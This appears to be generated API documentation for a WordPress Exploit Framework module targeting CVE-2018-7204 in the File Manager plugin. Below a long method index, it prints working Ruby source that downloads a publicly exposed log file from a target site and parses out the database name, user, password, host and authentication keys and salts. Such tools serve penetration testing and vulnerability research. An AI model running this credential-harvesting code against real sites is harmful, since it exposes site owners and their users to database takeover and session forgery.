Class: Wpxf::Auxiliary::FileManagerDatabaseCredentialsDisclosure

Inherits:
Module
  • Object
show all
Includes:
Wpxf
Defined in:
lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ FileManagerDatabaseCredentialsDisclosure

Returns a new instance of FileManagerDatabaseCredentialsDisclosure.



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# File 'lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb', line 6

def initialize
  super

  update_info(
    name: 'File Manager <= 5.0.1 Database Credentials Disclosure',
    desc: %(
      Prior to version 5.0.2 of the File Manager plugin, any changes
      made to the wp-config.php file via the plugin would result
      in a backup being stored in a publicly accessible plain text
      file. This module will download and parse the file to harvest
      the database credentials and salts.
    ),
    author: [
      'Colette Chamberland', # Disclosure
      'rastating'            # WPXF module
    ],
    references: [
      ['CVE', '2018-7204'],
      ['WPVDB', '9036']
    ],
    date: 'Mar 02 2018'
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb', line 30

def check
  check_plugin_version_from_changelog('file-manager', 'readme.txt', '5.0.2')
end

#log_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb', line 34

def log_url
  normalize_uri(wordpress_url_uploads, 'file-manager', 'log.txt')
end

#parse_log(log) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb', line 38

def parse_log(log)
  loot = [{ key: 'Key', value: 'Value' }]
  wanted_keys = [
    'DB_NAME',
    'DB_USER',
    'DB_PASSWORD',
    'DB_HOST',
    'AUTH_KEY',
    'SECURE_AUTH_KEY',
    'LOGGED_IN_KEY',
    'NONCE_KEY',
    'AUTH_SALT',
    'SECURE_AUTH_SALT',
    'LOGGED_IN_SALT',
    'NONCE_SALT'
  ]

  matches = log.scan(/define\(\\'.+?',\s+?\\'.+?'\);/i)
  matches.each do |match|
    kvp = match.match(/define\(\\'(.+?)\\',\s+?\\'(.+?)\\'\);/i)&.captures
    next if kvp.nil?
    loot.push(key: kvp[0], value: kvp[1]) if wanted_keys.include? kvp[0]
  end

  loot
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/info/file_manager_database_credentials.rb', line 65

def run
  return false unless super

  emit_info 'Downloading log...'
  res = execute_get_request(url: log_url)
  if res&.code != 200
    emit_error 'Failed to download log'
    return false
  end

  emit_info 'Parsing log...'
  loot = parse_log(res.body)

  if loot.length == 1
    emit_error 'Could not find wp-config.php within the log'
    return false
  end

  emit_table loot
  true
end